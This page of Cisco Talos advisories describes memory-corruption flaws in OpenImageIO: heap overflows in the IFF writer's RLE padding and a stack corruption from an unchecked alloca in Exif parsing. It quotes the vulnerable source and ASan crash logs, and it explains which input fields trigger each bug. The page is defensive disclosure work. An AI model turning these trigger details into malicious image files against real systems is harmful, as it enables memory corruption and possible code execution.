**CVE-2022-43597 - TypeDesc::UINT8**

Along with parsing files of various formats, libOpenImageIO is also capable of creating new files in these formats. For instance, if we look briefly at the OpenImageIO iconvert utility as an example, there are two functions capable of doing this image creation:

    static bool
    convert_file(const std::string& in_filename, const std::string& out_filename)
    {
        // [...]
    
        // Find an ImageIO plugin that can open the input file, and open it.
        auto in = ImageInput::open(in_filename);                              // [1]
        // [...]
        ImageSpec inspec         = in->spec();                                // [2]
    
        // Find an ImageIO plugin that can open the output file, and open it
        auto out = ImageOutput::create(tempname);                             // [3]
       
        // [...]
    
            if (!nocopy) { 
                ok = out->copy_image(in.get());                                   // [4]
                if (!ok)
                    std::cerr << "iconvert ERROR copying \"" << in_filename
                              << "\" to \"" << out_filename << "\" :\n\t"
                              << out->geterror() << "\n";
            } else {
                // Need to do it by hand for some reason.  Future expansion in which
                // only a subset of channels are copied, or some such.
                std::vector<char> pixels((size_t)outspec.image_bytes(true));
                ok = in->read_image(subimage, miplevel, 0, outspec.nchannels,     // [5]
                                    outspec.format, &pixels[0]);
                if (!ok) {
                    std::cerr << "iconvert ERROR reading \"" << in_filename
                              << "\" : " << in->geterror() << "\n";
                } else {
                    ok = out->write_image(outspec.format, &pixels[0]);              // [6]
                    if (!ok)
                        std::cerr << "iconvert ERROR writing \"" << out_filename
                                  << "\" : " << out->geterror() << "\n";
                }
          
           }
           
          ++miplevel;
        } while (ok && in->seek_subimage(subimage, miplevel, inspec));
    }
    
    out->close(); // [7]
    in->close();
    

The most important pieces are that we have an ImageInput object \[1\], an input specification \[2\] and an output image (whose type is determined by the filename extension) \[3\]. An output specification can be copied from the input specification and modified in case of incompatibilities with the output format. Subsequently we can either call ImageOutput::copy_image(in.get()) \[4\] or read the input into a buffer at \[5\] and then write the buffer to our ImageOutput at \[6\]. Now, it’s worth noting we cannot really know how libOpenImageIO will get its input images and specifications, and so the ImageOutput vulnerabilities are all applicable only in situations where an attacker can control the input file or specification that is then used to generate an ImageOutput object (like above).

If we end up generating a .iff file, then we appropriately end up hitting code inside src/iff.imageio/iffoutput.cpp. Upon opening the output file via IffOutput::open, assorted m_iff_header fields are set and our object’s scratch m_buf is resized to accommodate any images we wish to convert. It’s only upon IffOutput::close(), however, that this image data is flushed into the scratch buffers and eventually written to our resultant file. Starting with inline bool IffOutput::close(void):

       if (m_fd && m_buf.size()) {
            // [...]
            
            // write y-tiles
            for (uint32_t ty = 0; ty < tile_height_size(m_spec.height); ty++) {  // [7]
                // write x-tiles
                for (uint32_t tx = 0; tx < tile_width_size(m_spec.width); tx++) {  // [8]
                    // channels
                    uint8_t channels = m_iff_header.pixel_channels;
    
                    // set tile coordinates
                    uint16_t xmin, xmax, ymin, ymax;
    
                    // set xmin and xmax
                    xmin = tx * tile_width();
                    xmax = std::min(xmin + tile_width(), m_spec.width) - 1;         // [9]
    
                    // set ymin and ymax
                    ymin = ty * tile_height();
                    ymax = std::min(ymin + tile_height(), m_spec.height) - 1;       // [10]
    

The code flow goes as one might expect. We iterate over the tiles of each row and also each column, writing pixels as we go along. At \[7\] and \[8\], we find the bounds of our image, with the tile_height_size(m_spec.height) reducing essentially down to (m_spec.height + 64 -1 ) / 64 and tile_width_size reducing similarly to (m_spec.width + 64 - 1 ) / 64. Worth noting here that both m_spec.height and m_spec.width are both uint32_t, for an idea of how many loops we can hit. Continuing on, we find where our current tile starts and ends at \[9\] and \[10\] with the xmin, xmax, ymin, and ymax variables, all of which are importantly uint16_t variables. Since we know that m_spec.width and m_spec.height are uint32_t, it follows that xmax and ymax can both be anywhere from 0x0 to 0xFFFF. Continuing further into IffOutput::close():

          // write y-tiles
            for (uint32_t ty = 0; ty < tile_height_size(m_spec.height); ty++) { 
                // write x-tiles
                for (uint32_t tx = 0; tx < tile_width_size(m_spec.width); tx++) { 
                
                    uint8_t channels = m_iff_header.pixel_channels;
                    
                    // [...]
                    // set width and height
                    uint32_t tw = xmax - xmin + 1;     // [9] 
                    uint32_t th = ymax - ymin + 1;     // [10]
                    // [...]
    
                    // length.
                    uint32_t length = tw * th * m_spec.pixel_bytes(); // [11]
    
                    // tile length.
                    uint32_t tile_length = length;
    
                    // align.
                    length = align_size(length, 4);
    
                    // append xmin, xmax, ymin and ymax.
                    length += 8;
    
    
                    // tile compression.
                    bool tile_compress = (m_iff_header.compression == RLE); 
    
                    // set bytes.
                    std::vector<uint8_t> scratch;  // [12]
                    scratch.resize(tile_length);
                    
                    // handle 8-bit data
                    if (m_spec.format == TypeDesc::UINT8) {
                        if (tile_compress) {  // [13]
    

For each tile, the size is calculated at \[9\] and \[10\], and the appropriate tile_length is propagated via the calculation at \[11\]. We will also need to make a note of the creation of our scratch vector at \[12\], which gets resized to size tile_length, i.e. the length before it’s aligned and expanded. Continuing on, assuming our image only uses one byte for each pixel—also, importantly, if our image specification deems us to need RLE compression—then tile_compression is set and we hit the branch at \[13\]:

                    if (m_spec.format == TypeDesc::UINT8) {
                        if (tile_compress) {  // [13]
    
                            uint32_t index = 0, size = 0;
                            std::vector<uint8_t> tmp;                             // [14]
    
                            // set bytes.
                            tmp.resize(tile_length * 2);
    
                            // map: RGB(A) to BGRA
                            for (int c = (channels * m_spec.channel_bytes()) - 1;
                                 c >= 0; --c) {
                                    // [...]
                                }
    
                                // compress rle channel
                                size = compress_rle_channel(&in[0], &tmp[0] + index,  // [15]
                                                            tw * th);
                                index += size;
                            }
    

A temporary byte vector is created at \[14\] and filled with compressed image data at \[15\]. The index variable immediately after \[15\] keeps track of how many bytes are written to tmp before we put this image data to use:

                             // [...]
                                // compress rle channel
                                size = compress_rle_channel(&in[0], &tmp[0] + index,  // [15]
                                                            tw * th);
                                index += size;
                            }
    
                            // if size exceeds tile length write uncompressed
    
                            if (index < tile_length) {                 // [16]
                                memcpy(&scratch[0], &tmp[0], index);
    
                                // set tile length
                                tile_length = index;
    
                                // append xmin, xmax, ymin and ymax
                                length = index + 8;
    
                                // set length
                                uint32_t align = align_size(length, 4);  // [17]
                                if (align > length) {
                                    out_p = &scratch[0] + index;
                                    // Pad.
                                    for (uint32_t i = 0; i < align - length; i++) {
                                        *out_p++ = '\0';                     // [18]
                                        tile_length++; 
                                    }
                                }
                            } else {
                                tile_compress = false;
                            }
                        }
    

Assuming that our tmp vector \[14\] ends up being smaller than our scratch vector \[12\], then we enter the branch at \[16\] to pad out the rest of the scratch data. A call to align_size\[17\] is made to figure out how many null bytes to add to scratch at \[18\]. Unfortunately, there seems to be an overlooked fact that the original scratch vector is never resized to accommodate these new null bytes, resulting in one to three null bytes being written past the edge of the heap buffer, depending on its size. Since tile_length is controlled by our input m_spec, the size of our heap chunk is also controlled along with whether to write one, two or three null bytes.

**Crash Information**

    =================================================================
    ==817773==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000002113 at pc 0x7ffff3c007e8 bp 0x7fffffffae70 sp 0x7fffffffae68
    WRITE of size 1 at 0x602000002113 thread T0
    [Detaching after fork from child process 817783]
        #0 0x7ffff3c007e7 in OpenImageIO_v2_4::IffOutput::close() /oiio/oiio-2.4.4.2/src/iff.imageio/iffoutput.cpp:310:46
        #1 0x555555649a6d in convert_file(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /oiio/fuzzing_release/./iconvert.cpp:475:10
        #2 0x5555556453c8 in main /oiio/fuzzing_release/./iconvert.cpp:523:14
        #3 0x7fffeac23d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #4 0x7fffeac23e3f in __libc_start_main csu/../csu/libc-start.c:392:3
        #5 0x555555584ed4 in _start (/oiio/fuzzing/triage/iconvert_testing_dir/iconvert+0x30ed4) (BuildId: 8d9c54aeaee5ba79c4320b01f97dc76bf6e7ce61)
    
    0x602000002113 is located 0 bytes to the right of 3-byte region [0x602000002110,0x602000002113)
    allocated by thread T0 here:
        #0 0x555555642aed in operator new(unsigned long) (/oiio/fuzzing/triage/iconvert_testing_dir/iconvert+0xeeaed) (BuildId: 8d9c54aeaee5ba79c4320b01f97dc76bf6e7ce61)
        #1 0x7ffff160e411 in __gnu_cxx::new_allocator<unsigned char>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/ext/new_allocator.h:127:27
        #2 0x7ffff160e293 in std::allocator_traits<std::allocator<unsigned char> >::allocate(std::allocator<unsigned char>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/alloc_traits.h:464:20
        #3 0x7ffff160cd2b in std::_Vector_base<unsigned char, std::allocator<unsigned char> >::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:346:20
        #4 0x7ffff160a381 in std::vector<unsigned char, std::allocator<unsigned char> >::_M_default_append(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/vector.tcc:635:34
        #5 0x7ffff160826c in std::vector<unsigned char, std::allocator<unsigned char> >::resize(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:940:4
        #6 0x7ffff3bfe7f5 in OpenImageIO_v2_4::IffOutput::close() /oiio/oiio-2.4.4.2/src/iff.imageio/iffoutput.cpp:250:25
        #7 0x555555649a6d in convert_file(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /oiio/fuzzing_release/./iconvert.cpp:475:10
        #8 0x5555556453c8 in main /oiio/fuzzing_release/./iconvert.cpp:523:14
        #9 0x7fffeac23d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /oiio/oiio-2.4.4.2/src/iff.imageio/iffoutput.cpp:310:46 in OpenImageIO_v2_4::IffOutput::close()
    Shadow bytes around the buggy address:
      0x0c047fff83d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff83e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff83f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8400: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
      0x0c047fff8410: fa fa 03 fa fa fa fd fa fa fa 03 fa fa fa 01 fa
    =>0x0c047fff8420: fa fa[03]fa fa fa 06 fa fa fa fd fa fa fa fa fa
      0x0c047fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8450: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==817773==ABORTING
    

**CVE-2022-43598 - TypeDesc::UINT16**

For instances where our input data is two bytes per pixel, the vulnerability is present at \[19\] as well in code that is very similar to the above:

                     // handle 16-bit data
                    else if (m_spec.format == TypeDesc::UINT16) {
                        if (tile_compress) {
                            uint32_t index = 0, size = 0;
                            std::vector<uint8_t> tmp;
    
                            // set bytes.
                            tmp.resize(tile_length * 2);
    
                            // [...]
    
                                // compress rle channel
                                size = compress_rle_channel(&in[0], &tmp[0] + index,
                                                            tw * th);
                                index += size;
                            }
    
                            // if size exceeds tile length write uncompressed
    
                            if (index < tile_length) {
                                memcpy(&scratch[0], &tmp[0], index);
    
                                // set tile length
                                tile_length = index;
    
                                // append xmin, xmax, ymin and ymax
                                length = index + 8;
    
                                // set length
                                uint32_t align = align_size(length, 4);
                                if (align > length) {
                                    out_p = &scratch[0] + index;
                                    // Pad.
                                    for (uint32_t i = 0; i < align - length; i++) {
                                        *out_p++ = '\0';     // [19]
                                        tile_length++;
                                    }
                                }
                            } else {
                                tile_compress = false;
                            }
                        }
    

**TIMELINE**

2022-11-14 - Vendor Disclosure  
2022-12-22 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2022-43598: TALOS-2022-1655 || Cisco Talos Intelligence Group

An out of bounds read vulnerability exists in the way OpenImageIO version v2.3.19.0 processes string fields in TIFF image files. A specially-crafted TIFF file can lead to information disclosure. An attacker can provide a malicious file to trigger this vulnerability.

CVE-2022-41977: TALOS-2022-1627 || Cisco Talos Intelligence Group

An out-of-bounds write vulnerability exists in the OpenImageIO::add_exif_item_to_spec functionality of OpenImageIO Project OpenImageIO v2.4.4.2. Specially-crafted exif metadata can lead to stack-based memory corruption. An attacker can provide a malicious file to trigger this vulnerability.

**SUMMARY**

An out-of-bounds write vulnerability exists in the OpenImageIO::add\_exif\_item\_to\_spec functionality of OpenImageIO Project OpenImageIO v2.4.4.2. Specially-crafted exif metadata can lead to stack-based memory corruption. An attacker can provide a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenImageIO Project OpenImageIO v2.4.4.2

**PRODUCT URLS**

OpenImageIO - https://github.com/OpenImageIO/oiio

**CVSSv3 SCORE**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-562 - Return of Stack Variable Address

**DETAILS**

OpenImageIO is an image processing library with easy-to-use interfaces and a sizable number of supported image formats. Useful for conversion and processing and even image comparison, this library is utilized by 3D-processing software from AliceVision (including Meshroom), as well as Blender for reading Photoshop .psd files.

Many different file formats are capable of utilizing Exif metadata to provide extra context to the specifcation of the given file. In libOpenImageIO, we can get to the Exif metadata parsing code via jpeg files, photoshop .psd files and some others. Depending on the file format, we start at different offsets, but the parsing code converges at decode_exif:

    bool
    decode_exif(cspan<uint8_t> exif, ImageSpec& spec)
    {
        // Sometimes an exif blob starts with "Exif". Skip it.
        if (exif.size() >= 6 && exif[0] == 'E' && exif[1] == 'x' && exif[2] == 'i'
            && exif[3] == 'f' && exif[4] == 0 && exif[5] == 0) {
            exif = exif.subspan(6);
        }
    
        // [...]
        
        TIFFHeader head = *(const TIFFHeader*)exif.data();              // [1]
        if (head.tiff_magic != 0x4949 && head.tiff_magic != 0x4d4d)
            return false;
        bool host_little = littleendian();
        bool file_little = (head.tiff_magic == 0x4949);
        bool swab        = (host_little != file_little);
        if (swab)
            swap_endian(&head.tiff_diroff);
    
        const unsigned char* ifd = ((const unsigned char*)exif.data()
                                    + head.tiff_diroff);                              // [2]
        // keep track of IFD offsets we've already seen to avoid infinite
        // recursion if there are circular references.
        std::set<size_t> ifd_offsets_seen;
        decode_ifd(ifd, exif, spec, exif_tagmap_ref(), ifd_offsets_seen, swab);  //[3]
    

As the first item in Exif data should be a TIFFHeader, we cast the input data as a TiffHeader \[1\] and start parsing:

     type = struct TIFFHeader {
        uint16_t tiff_magic;
        uint16_t tiff_version;
        uint32_t tiff_diroff;
    }
    [-.-]> p/x *(struct TIFFHeader *)data.data()
    $44 = {tiff_magic = 0x4949, tiff_version = 0x92a, tiff_diroff = 0x800}
    

As with normal tiff files, the TIFFHeader.tiff_diroff points to the start of the Tiff Directories, and so the code points the ifd variable to these directories at \[2\] before parsing them at \[3\] in decode_ifd():

    // Decode a raw Exif data block and save all the metadata in an
    // ImageSpec.  Return true if all is ok, false if the exif block was
    // somehow malformed.
    void
    pvt::decode_ifd(const unsigned char* ifd, cspan<uint8_t> buf, ImageSpec& spec,
                    const TagMap& tag_map, std::set<size_t>& ifd_offsets_seen,
                    bool swab, int offset_adjustment)
    {
        // Read the directory that the header pointed to.  It should contain
        // some number of directory entries containing tags to process.
        unsigned short ndirs = *(const unsigned short*)ifd;                          // [4]
        if (swab)
            swap_endian(&ndirs);
        for (int d = 0; d < ndirs; ++d)
            read_exif_tag(spec,
                          (const TIFFDirEntry*)(ifd + 2 + d * sizeof(TIFFDirEntry)),            //[5]
                          buf, swab, offset_adjustment, ifd_offsets_seen, tag_map);
    }
    

The count of directories is read in at \[4\] with a max of 0xFFFF, and we call read_exif_tag on each of these directories \[5\]:

    type = const struct TIFFDirEntry {   // [6]
        uint16_t tdir_tag;
        uint16_t tdir_type;
        uint32_t tdir_count;
        uint32_t tdir_offset;
    } *
    
    static void
    read_exif_tag(ImageSpec& spec, const TIFFDirEntry* dirp, cspan<uint8_t> buf,
                  bool swab, int offset_adjustment,
                  std::set<size_t>& ifd_offsets_seen, const TagMap& tagmap)
    {
        if ((const uint8_t*)dirp < buf.data()                // [7]
            || (const uint8_t*)dirp + sizeof(TIFFDirEntry)
                   >= buf.data() + buf.size()) {
            return;
        }
    
        const TagMap& exif_tagmap(exif_tagmap_ref());
        const TagMap& gps_tagmap(gps_tagmap_ref());
    
        // Make a copy of the pointed-to TIFF directory, swab the components
        // if necessary.
        TIFFDirEntry dir = *dirp;
        // [...]
    
        if (dir.tdir_tag == TIFFTAG_EXIFIFD || dir.tdir_tag == TIFFTAG_GPSIFD) {
           // [...]
        } else if (dir.tdir_tag == TIFFTAG_INTEROPERABILITYIFD) {
            // [...]
        } else {
            // Everything else -- use our table to handle the general case
            const TagInfo* taginfo = tagmap.find(dir.tdir_tag);
            if (taginfo && !spec.extra_attribs.contains(taginfo->name)) {
                if (taginfo->handler)
                    taginfo->handler(*taginfo, dir, buf, spec, swab,
                                     offset_adjustment);
                else if (taginfo->tifftype != TIFF_NOTYPE)
                    add_exif_item_to_spec(spec, taginfo->name, &dir, buf, swab,  // [9]
                                          offset_adjustment);
            } // [...]
        }
    }
    

Each directory, size 0xC, is cast into the structure listed at \[6\], and a minor check occurs at \[7\] to validate that this directory is not out of bounds. Assuming that the dirp->tdir_tag is not one of the ones listed above, we hit the branch at \[8\] and call into add_exif_item_to_spec \[9\] for the vast majority of tiff tag types:

    static void
    add_exif_item_to_spec(ImageSpec& spec, const char* name,
                          const TIFFDirEntry* dirp, cspan<uint8_t> buf, bool swab,
                          int offset_adjustment = 0)
    {
        OIIO_ASSERT(dirp);
        const uint8_t* dataptr = (const uint8_t*)pvt::dataptr(*dirp, buf,
                                                              offset_adjustment);
        if (!dataptr)
            return;
        TypeDesc type = tiff_datatype_to_typedesc(*dirp);
        if (dirp->tdir_type == TIFF_SHORT) {
            std::vector<uint16_t> d((const uint16_t*)dataptr,
                                    (const uint16_t*)dataptr + dirp->tdir_count);
            if (swab)
                swap_endian(d.data(), d.size());
            spec.attribute(name, type, d.data());
            return;
        }
        if (dirp->tdir_type == TIFF_LONG) {
            // [...]
        }
    

This particular function examines the dirp->tdir_type to figure out what type of variable our current directory holds and then populates this data appropriately into the m_spec attributes for our resultant ImageSpec object. A problem quickly arises in this function, as there’s never really any concrete validation on our current dirp. The dirp->tdir_count variable is completely controlled by the input file. As such, let’s examine how we might utilize this fact:

    static void
    add_exif_item_to_spec(ImageSpec& spec, const char* name,
                          const TIFFDirEntry* dirp, cspan<uint8_t> buf, bool swab,
                          int offset_adjustment = 0)
    {
    
            const uint8_t* dataptr = (const uint8_t*)pvt::dataptr(*dirp, buf,
                                                              offset_adjustment);
        if (!dataptr)
            return;
        TypeDesc type = tiff_datatype_to_typedesc(*dirp);
        if (dirp->tdir_type == TIFF_SHORT) {
            // [...]
        }
         if (dirp->tdir_type == TIFF_LONG) {
            // [...]
         }
    
        if (dirp->tdir_type == TIFF_RATIONAL) {
            int n    = dirp->tdir_count;  // How many
            float* f = OIIO_ALLOCA(float, n);                    // [10]
            for (int i = 0; i < n; ++i) {                        // [11]
                unsigned int num, den;
                num = ((const unsigned int*)dataptr)[2 * i + 0];
                den = ((const unsigned int*)dataptr)[2 * i + 1];  
                if (swab) {
                    swap_endian(&num);
                    swap_endian(&den);
                }
                f[i] = (float)((double)num / (double)den);
            }
            if (dirp->tdir_count == 1)
                spec.attribute(name, *f);
            else
                spec.attribute(name, TypeDesc(TypeDesc::FLOAT, n), f); // [12]
            return;
        }
    

At \[10\], we see our arbitrary value plugged directly into OIIO_ALLOCA. This is just a define wrapper for the alloca function, which subtracts an appropriate value from our stack pointer to allocate enough memory for a temporary buffer. The define is given as such:

    #    define OIIO_ALLOCA(type, size) (assert(size < (1<<20)), (size) != 0 ? ((type*)alloca((size) * sizeof(type))) : nullptr)
    

And functionally this ends up looking like the following decompiled code:

    00a4b3c8                      f_alloc = &top_of_stack - (((sx.q(tdir_count) << 2) + 0xf) & 0xfffffffffffffff0)
    

Since tdir_count is a uint32_t, we don’t have complete control over where our stack pointer can end up. We can easily move it into our current function (or previous functions) call stacks. If our input tdir_count is < 0x80000000, the stack pointer goes to a lower value and can potentially corrupt other threads. The loop ends up being rather unruly, and we usually crash in uncontrollable ways. But if our input tdir_count is > 0x80000000, the stack pointer increases, and we skip the loop at \[11\] (since it’s a signed comparison). Thus we get to the call at \[12\], where we can corrupt the stack via normal calling conventions, usually with new variables, with values we control being written therein. Clever corruption could potentially lead to code execution.

**Crash Information**

    Running: ./stack_overflow_add_exif_to_spec/test_crash.jpg
    =================================================================
    ==334652==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffff75e0 at pc 0x5555556701f6 bp 0x7fffffff7510 sp 0x7fffffff7508
    WRITE of size 1 at 0x7fffffff75e0 thread T0
    [Detaching after fork from child process 334695]
        #0 0x5555556701f5 in OpenImageIO_v2_4::TypeDesc::TypeDesc(OpenImageIO_v2_4::TypeDesc::BASETYPE, OpenImageIO_v2_4::TypeDesc::AGGREGATE, OpenImageIO_v2_4::TypeDesc::VECSEMANTICS, int) /oiio/oiio-2.4.4.2/src/include/OpenImageIO/typedesc
    .h:135:11
        #1 0x7ffff27a75ec in OpenImageIO_v2_4::ImageSpec::attribute(OpenImageIO_v2_4::basic_string_view<char, std::char_traits<char> >, OpenImageIO_v2_4::TypeDesc, void const*) /oiio/oiio-2.4.4.2/src/libOpenImageIO/formatspec.cpp:325:21
        #2 0x7ffff27466f6 in OpenImageIO_v2_4::add_exif_item_to_spec(OpenImageIO_v2_4::ImageSpec&, char const*, TIFFDirEntry const*, OpenImageIO_v2_4::span<unsigned char const, -1l>, bool, int) /oiio/oiio-2.4.4.2/src/libOpenImageIO/exif.cpp:
    680:18
        #3 0x7ffff270364e in OpenImageIO_v2_4::read_exif_tag(OpenImageIO_v2_4::ImageSpec&, TIFFDirEntry const*, OpenImageIO_v2_4::span<unsigned char const, -1l>, bool, int, std::set<unsigned long, std::less<unsigned long>, std::allocator<unsigned long> >&, OpenImageIO_v2_4::
    pvt::TagMap const&) /oiio/oiio-2.4.4.2/src/libOpenImageIO/exif.cpp:886:17
        #4 0x7ffff26ff3c1 in OpenImageIO_v2_4::pvt::decode_ifd(unsigned char const*, OpenImageIO_v2_4::span<unsigned char const, -1l>, OpenImageIO_v2_4::ImageSpec&, OpenImageIO_v2_4::pvt::TagMap const&, std::set<unsigned long, std::less<unsigned long>, std::allocator<unsigne
    d long> >&, bool, int) /oiio/oiio-2.4.4.2/src/libOpenImageIO/exif.cpp:1019:9
        #5 0x7ffff2709299 in OpenImageIO_v2_4::decode_exif(OpenImageIO_v2_4::span<unsigned char const, -1l>, OpenImageIO_v2_4::ImageSpec&) /oiio/oiio-2.4.4.2/src/libOpenImageIO/exif.cpp:1146:5
        #6 0x7ffff2708041 in OpenImageIO_v2_4::decode_exif(OpenImageIO_v2_4::basic_string_view<char, std::char_traits<char> >, OpenImageIO_v2_4::ImageSpec&) /oiio/oiio-2.4.4.2/src/libOpenImageIO/exif.cpp:1094:12
        #7 0x7ffff39e8ba9 in OpenImageIO_v2_4::JpgInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_4::ImageSpec&) /oiio/oiio-2.4.4.2/src/jpeg.imageio/jpeginput.cpp:288:13
        #8 0x7ffff39e1bdf in OpenImageIO_v2_4::JpgInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_4::ImageSpec&, OpenImageIO_v2_4::ImageSpec const&) /oiio/oiio-2.4.4.2/src/jp
    eg.imageio/jpeginput.cpp:173:12
        #9 0x7ffff2e413c9 in OpenImageIO_v2_4::ImageInput::create(OpenImageIO_v2_4::basic_string_view<char, std::char_traits<char> >, bool, OpenImageIO_v2_4::ImageSpec const*, OpenImageIO_v2_4::Filesystem::IOProxy*, OpenImageIO_v2_4::basic_string_view<char, std::char_traits<
    char> >) /oiio/oiio-2.4.4.2/src/libOpenImageIO/imageioplugin.cpp:786:27
        #10 0x7ffff2d19289 in OpenImageIO_v2_4::ImageInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_4::ImageSpec const*, OpenImageIO_v2_4::Filesystem::IOProxy*) /oiio/oiio-2
    .4.4.2/src/libOpenImageIO/imageinput.cpp:112:16
        #11 0x55555566f40f in LLVMFuzzerTestOneInput /oiio/fuzzing_release/./oiio_harness.cpp:77:16
        #12 0x5555555954e3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/oiio/fuzzing_release/fuzz_oiio.bin+0x414e3) (BuildId: 1cf10bcefd2178fbc0bf431c5ed1d874a392106b)                                                 #13 0x55555557f25f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/oiio/fuzzing_release/fuzz_oiio.bin+0x2b25f) (BuildId: 1cf10bcefd2178fbc0bf431c5ed1d874a392106b)
        #14 0x555555584fb6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/oiio/fuzzing_release/fuzz_oiio.bin+0x30fb6) (BuildId: 1cf10bcefd2178fbc0bf431c5ed1d874a392106b)
        #15 0x5555555aedd2 in main (/oiio/fuzzing_release/fuzz_oiio.bin+0x5add2) (BuildId: 1cf10bcefd2178fbc0bf431c5ed1d874a392106b)
        #16 0x7fffec2d5d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #17 0x7fffec2d5e3f in __libc_start_main csu/../csu/libc-start.c:392:3                                                                                                                                                                                                          #18 0x555555579b24 in _start (/oiio/fuzzing_release/fuzz_oiio.bin+0x25b24) (BuildId: 1cf10bcefd2178fbc0bf431c5ed1d874a392106b)
                                                                                                                                                                                                                                                                                   Address 0x7fffffff75e0 is located in stack of thread T0 at offset 64 in frame
        #0 0x7ffff27a724f in OpenImageIO_v2_4::ImageSpec::attribute(OpenImageIO_v2_4::basic_string_view<char, std::char_traits<char> >, OpenImageIO_v2_4::TypeDesc, void const*) /oiio/oiio-2.4.4.2/src/libOpenImageIO/formatspec.cpp:321
    
      This frame has 6 object(s):
        [32, 48) 'agg.tmp'
        [64, 72) 'agg.tmp6' <== Memory access at offset 64 is inside this variable
        [96, 112) 'agg.tmp28'
        [128, 136) 'agg.tmp31'
        [160, 161) 'agg.tmp34'
        [176, 177) 'ref.tmp' (line 330)
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow /oiio/oiio-2.4.4.2/src/include/OpenImageIO/typedesc.h:135:11 in OpenImageIO_v2_4::TypeDesc::TypeDesc(OpenImageIO_v2_4::TypeDesc::BASETYPE, OpenImageIO_v2_4::TypeDesc::AGGREGATE, OpenImageI
    O_v2_4::TypeDesc::VECSEMANTICS, int)
    Shadow bytes around the buggy address:
      0x10007fff6e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff6e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff6e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff6e90: cb cb cb cb f1 f1 f1 f1 00 00 f2 f2 00 00 f2 f2
      0x10007fff6ea0: 00 f2 f2 f2 f8 f8 f8 f2 f2 f2 f2 f2 f8 f2 00 00
    =>0x10007fff6eb0: f2 f2 00 f2 f1 f1 f1 f1 00 00 f2 f2[f2]f2 f2 f2
      0x10007fff6ec0: 00 00 f2 f2 00 f2 f2 f2 01 f2 f8 f3 00 00 f2 f2
      0x10007fff6ed0: 00 00 f2 f2 00 f2 f2 f2 f8 f2 f8 f2 00 00 f2 f2
      0x10007fff6ee0: 00 00 f2 f2 00 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2
      0x10007fff6ef0: f8 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f2 00 00 f2 f2
          0x10007fff6f00: 00 00 f2 f2 00 00 f3 f3 00 00 00 00 ca ca ca ca
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
    

**TIMELINE**

2022-10-19 - Initial Vendor Contact  
2022-10-20 - Vendor Disclosure  
2022-12-22 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2022-41837: TALOS-2022-1636 || Cisco Talos Intelligence Group

